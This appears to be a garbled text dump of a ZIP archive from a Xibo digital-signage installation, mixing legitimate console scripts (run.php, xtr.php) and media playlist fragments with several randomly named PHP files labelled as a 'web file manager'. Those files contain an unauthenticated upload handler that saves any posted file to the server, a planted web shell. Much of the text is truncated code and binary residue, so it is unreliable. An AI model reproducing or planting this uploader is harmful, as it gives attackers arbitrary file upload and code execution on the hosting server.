芝麻web文件管理V1.00
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
";?>
> $file
";
}
}
closedir($handle);
}
}
?>
PK HqY6 ljusucyw.phpnu [
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
";?>
> $file
";
}
}
closedir($handle);
}
}
?>
PK HqY6 wtgzuhou.phpnu [
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
";?>
> $file
";
}
}
closedir($handle);
}
}
?>
PK MqY
run.phpnu [ .
*/
use Monolog\Logger;
define('XIBO', true);
define('PROJECT_ROOT', realpath(__DIR__ . '/..'));
error_reporting(0);
ini_set('display_errors', 0);
require PROJECT_ROOT . '/vendor/autoload.php';
if (!file_exists(PROJECT_ROOT . '/web/settings.php'))
die('Not configured');
// convert all the command line arguments into a URL
$argv = $GLOBALS['argv'];
array_shift($GLOBALS['argv']);
$pathInfo = '/' . implode('/', $argv);
// Log handlers
$handlers = [new \Xibo\Helper\DatabaseLogHandler()];
// Optionally allow console logging
if (isset($_SERVER['LOG_TO_CONSOLE']) && $_SERVER['LOG_TO_CONSOLE']) {
$handlers[] = new \Monolog\Handler\StreamHandler(STDERR, Logger::DEBUG);
}
// Create a logger
$logger = new \Xibo\Helper\AccessibleMonologWriter(array(
'name' => 'CONSOLE',
'handlers' => $handlers,
'processors' => array(
new \Xibo\Helper\LogProcessor(),
new \Monolog\Processor\UidProcessor(7)
)
), false);
$app = new \RKA\Slim(array(
'debug' => false,
'log.writer' => $logger
));
$app->setName('console');
// Config
$app->configService = \Xibo\Service\ConfigService::Load(PROJECT_ROOT . '/web/settings.php');
// Check for upgrade after we've loaded settings to make sure the main app gets any custom settings it needs.
if (\Xibo\Helper\Environment::migrationPending()) {
die('Upgrade pending');
}
// Set up the environment so that Slim can route
$app->environment = Slim\Environment::mock([
'PATH_INFO' => $pathInfo
]);
// Twig templates
$twig = new \Slim\Views\Twig();
$twig->parserOptions = array(
'debug' => true,
'cache' => PROJECT_ROOT . '/cache'
);
$twig->parserExtensions = array(
new \Slim\Views\TwigExtension(),
new \Xibo\Twig\TransExtension(),
new \Xibo\Twig\ByteFormatterTwigExtension(),
new \Xibo\Twig\UrlDecodeTwigExtension(),
new \Xibo\Twig\DateFormatTwigExtension()
);
// Configure the template folder
$twig->twigTemplateDirs = [PROJECT_ROOT . '/views'];
$app->view($twig);
\Xibo\Middleware\Storage::setStorage($app->container);
\Xibo\Middleware\State::setState($app);
$app->add(new \Xibo\Middleware\Xtr());
$app->add(new \Xibo\Middleware\Storage());
$app->add(new \Xibo\Middleware\Xmr());
// Handle additional Middleware
\Xibo\Middleware\State::setMiddleWare($app);
// Configure a user
$app->user = $app->userFactory->getSystemUser();
// Configure the Slim error handler
$app->error(function (\Exception $e) use ($app) {
$app->container->get('\Xibo\Controller\Error')->handler($e);
});
// Configure a not found handler
$app->notFound(function () use ($app) {
$app->container->get('\Xibo\Controller\Error')->notFound();
});
// All routes
$app->get('/', '\Xibo\Controller\Task:poll');
$app->get('/:id', '\Xibo\Controller\Task:run');
// Run app
$app->run();
PK MqYp]ȴ xtr.phpnu [ .
*/
/**
* This is a simple script to load all twig files recursively so that we have a complete set of twig files in the
* /cache folder
* we can then reliably run xgettext over them to update our POT file
*/
define('PROJECT_ROOT', realpath(__DIR__ . '/..'));
require_once PROJECT_ROOT . '/vendor/autoload.php';
$twig = new Twig_Environment(new \Twig\Loader\FilesystemLoader([PROJECT_ROOT . '/views', PROJECT_ROOT . '/modules']), [
'cache' => PROJECT_ROOT . '/cache',
'auto_reload' => true
]);
$twig->addExtension(new \Slim\Views\TwigExtension());
$twig->addExtension(new \Xibo\Twig\TransExtension());
$twig->addExtension(new \Xibo\Twig\ByteFormatterTwigExtension());
$twig->addExtension(new \Xibo\Twig\UrlDecodeTwigExtension());
$twig->addExtension(new \Xibo\Twig\DateFormatTwigExtension());
foreach (glob(PROJECT_ROOT . '/views/*.twig') as $file) {
echo var_export($file, true) . PHP_EOL;
$twig->loadTemplate(str_replace(PROJECT_ROOT . '/views/', '', $file));
}
foreach (glob(PROJECT_ROOT . '/modules/*.twig') as $file) {
echo var_export($file, true) . PHP_EOL;
$twig->loadTemplate(str_replace(PROJECT_ROOT . '/modules/', '', $file));
}PK QqYjR R media/12.xlfnu [
46.mp4051.mp4032.mp4045.mp4031.mp4042.mp40
PK QqY)A media/16.xlfnu [
58.mp4055.mp40
PK QqYj j media/42.xlfnu [
25245.mp40
PK QqYt(8j j media/49.xlfnu [
25245.mp40
PK QqY!
media/144.xlfnu [
25155.mp4025114.mp4045.mp4031.mp4019011.mp4025254.mp40105.mp4025283.mp4025227.mp4025198.mp403224.mp4025052.mp4025149.mp40115.mp4025261.avi025204.mp4025259.mp4025152.mp4025250.mp4025262.mp40
PK QqYiij j media/30.xlfnu [
25248.mp40
PK QqY- -
media/133.xlfnu [
61.mp4025114.mp4045.mp4031.mp4042.mp4025040.mp4058.mp4060.mp40105.mp4055.mp40115.mp4061.mp4025248.mp4025245.mp40
PK QqYOe e media/29.xlfnu [
25248.mp4045.mp4031.mp4025114.mp4042.mp403224.mp40
PK QqY1Ӳ
media/118.xlfnu [
25114.mp4045.mp4031.mp4042.mp4025040.mp4058.mp4060.mp40105.mp4055.mp40115.mp4061.mp4025248.mp4025245.mp40
PK QqYj j media/32.xlfnu [
25248.mp40
PK QqY0
media/130.xlfnu [
115.mp4025114.mp4045.mp4031.mp4025223.mp4055.mp40115.mp40
PK QqY media/17.xlfnu [
58.mp4025245.mp40
PK QqY,: :
media/125.xlfnu [
25245.mp4025114.mp4045.mp4031.mp4025245.mp403224.mp4055.mp4065.avi025245.mp40
PK QqY) media/55.xlfnu [
115.mp40115.mp40
PK QqY|ϝ
media/131.xlfnu [
25248.mp4045.mp4031.mp4025114.mp4042.mp403224.mp4055.mp4025248.mp40
PK QqY}yd d media/10.ttfnu [ PGDEFi j